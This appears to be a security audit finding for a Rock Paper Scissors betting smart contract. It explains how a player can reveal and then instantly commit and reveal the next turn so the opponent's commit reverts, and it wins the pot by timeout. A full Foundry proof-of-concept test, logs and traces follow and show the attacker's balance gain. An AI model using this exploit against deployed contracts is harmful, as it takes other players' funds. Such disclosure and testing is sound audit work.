A critical vulnerability exists in the Rock Paper Scissors game contract where a malicious player can manipulate the game flow to prevent the other player from committing their move. By revealing their move and immediately committing and revealing the next turn's move, the attacker can force the game into a state where the victim cannot commit their move, allowing the attacker to win through timeout.
The vulnerability stems from the game's turn management mechanism. In the Rock Paper Scissors game, players take turns committing and revealing their moves. However, there's a flaw in the implementation that allows a player to manipulate the turn sequence:
Overall, hacker can use this vulnerability to win the all games which has one more turns.
The POC demonstrates that Player B can win the game by forcing Player A to timeout, resulting in Player B receiving the entire prize pool minus fees.
contract RockPaperScissorsTest is Test {
RockPaperScissors public game;
WinningToken public token;
address public admin;
address public playerA;
address public playerB;
uint256 constant BET_AMOUNT = 0.1 ether;
uint256 constant TIMEOUT = 10 minutes;
uint256 constant TOTAL_TURNS = 3;
uint256 public gameId;
function setUp() public {
admin = address(this);
playerA = makeAddr("playerA");
playerB = makeAddr("playerB");
vm.deal(playerA, 10 ether);
vm.deal(playerB, 10 ether);
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
vm.prank(address(game));
token.mint(playerA, 10);
vm.prank(address(game));
token.mint(playerB, 10);
}
function test_RevealStopCommit() public {
console.log("playerA balance : ", playerA.balance);
console.log("playerB balance : ", playerB.balance);
vm.startPrank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerB);
game.joinGameWithEth{value: BET_AMOUNT}(gameId);
vm.stopPrank();
uint8 moveA = uint8(RockPaperScissors.Move.Rock);
bytes32 saltA = keccak256(abi.encodePacked("salt for player A", gameId, moveA));
bytes32 commitA = keccak256(abi.encodePacked(moveA, saltA));
vm.prank(playerA);
game.commitMove(gameId, commitA);
uint8 moveB = uint8(RockPaperScissors.Move.Scissors);
bytes32 saltB = keccak256(abi.encodePacked("salt for player B", gameId, moveB));
bytes32 commitB = keccak256(abi.encodePacked(moveB, saltB));
vm.prank(playerB);
game.commitMove(gameId, commitB);
vm.prank(playerA);
game.revealMove(gameId, moveA, saltA);
vm.startPrank(playerB);
game.revealMove(gameId, moveB, saltB);
game.commitMove(gameId, commitB);
game.revealMove(gameId, moveB, saltB);
vm.stopPrank();
vm.expectRevert("Moves already committed for this turn");
vm.prank(playerA);
game.commitMove(gameId, commitA);
vm.warp(block.timestamp + TIMEOUT + 1);
vm.prank(playerB);
game.timeoutReveal(gameId);
console.log("playerA balance : ", playerA.balance);
console.log("playerB balance : ", playerB.balance);
}
}
Ran 1 test for test/RockPaperScissorsTest.t.sol:RockPaperScissorsTest
[PASS] test_RevealStopCommit() (gas: 409999)
Logs:
playerA balance : 10000000000000000000
playerB balance : 10000000000000000000
playerA balance : 9900000000000000000
playerB balance : 10080000000000000000
Traces:
[449799] RockPaperScissorsTest::test_RevealStopCommit()
├─ [0] console::log("playerA balance : ", 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("playerB balance : ", 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::startPrank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [184327] RockPaperScissors::createGameWithEth{value: 100000000000000000}(3, 600)
│ ├─ emit GameCreated(gameId: 0, creator: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], bet: 100000000000000000 [1e17], totalTurns: 3)
│ └─ ← [Return] 0
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [24920] RockPaperScissors::joinGameWithEth{value: 100000000000000000}(0)
│ ├─ emit PlayerJoined(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::prank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [47753] RockPaperScissors::commitMove(0, 0x2ce9e0c6cee52fff8defaf803e3d42570ca0a102e22ce2de7049458b2e57f4bd)
│ ├─ emit MoveCommitted(gameId: 0, player: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [46121] RockPaperScissors::commitMove(0, 0x7b08831159711362f5a87b19b96a739a4a19fa2a9e3a7d08ef41af38654afcfc)
│ ├─ emit MoveCommitted(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::prank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [4376] RockPaperScissors::revealMove(0, 1, 0xb744b7af2ebddcdb6fdac9e865330c27a0287b13a1c9d7fa8098cde1928d587c)
│ ├─ emit MoveRevealed(gameId: 0, player: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], move: 1, currentTurn: 1)
│ └─ ← [Return]
├─ [0] VM::startPrank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [8045] RockPaperScissors::revealMove(0, 3, 0x164a57e3806367da85c24dac993ec49eb101618bd5fc41d7fa82eed6af9fb27c)
│ ├─ emit MoveRevealed(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], move: 3, currentTurn: 1)
│ ├─ emit TurnCompleted(gameId: 0, winner: playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF], currentTurn: 1)
│ └─ ← [Return]
├─ [23585] RockPaperScissors::commitMove(0, 0x7b08831159711362f5a87b19b96a739a4a19fa2a9e3a7d08ef41af38654afcfc)
│ ├─ emit MoveCommitted(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], currentTurn: 2)
│ └─ ← [Return]
├─ [4361] RockPaperScissors::revealMove(0, 3, 0x164a57e3806367da85c24dac993ec49eb101618bd5fc41d7fa82eed6af9fb27c)
│ ├─ emit MoveRevealed(gameId: 0, player: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], move: 3, currentTurn: 2)
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::expectRevert(Moves already committed for this turn)
│ └─ ← [Return]
├─ [0] VM::prank(playerA: [0x23223AC37AC99a1eC831d3B096dFE9ba061571CF])
│ └─ ← [Return]
├─ [1203] RockPaperScissors::commitMove(0, 0x2ce9e0c6cee52fff8defaf803e3d42570ca0a102e22ce2de7049458b2e57f4bd)
│ └─ ← [Revert] revert: Moves already committed for this turn
├─ [0] VM::warp(602)
│ └─ ← [Return]
├─ [0] VM::prank(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1])
│ └─ ← [Return]
├─ [51867] RockPaperScissors::timeoutReveal(0)
│ ├─ emit FeeCollected(gameId: 0, feeAmount: 20000000000000000 [2e16])
│ ├─ [0] playerB::fallback{value: 180000000000000000}()
│ │ └─ ← [Stop]
│ ├─ [14461] WinningToken::mint(playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], 1)
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], value: 1)
│ │ └─ ← [Return]
│ ├─ emit GameFinished(gameId: 0, winner: playerB: [0x3d3D63BabfeD85B3e08dE2d4A6c25b0d80cf77f1], prize: 180000000000000000 [1.8e17])
│ └─ ← [Return]
├─ [0] console::log("playerA balance : ", 9900000000000000000 [9.9e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("playerB balance : ", 10080000000000000000 [1.008e19]) [staticcall]
│ └─ ← [Stop]
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.68ms (199.79µs CPU time)
Ran 1 test suite in 3.12s (1.68ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)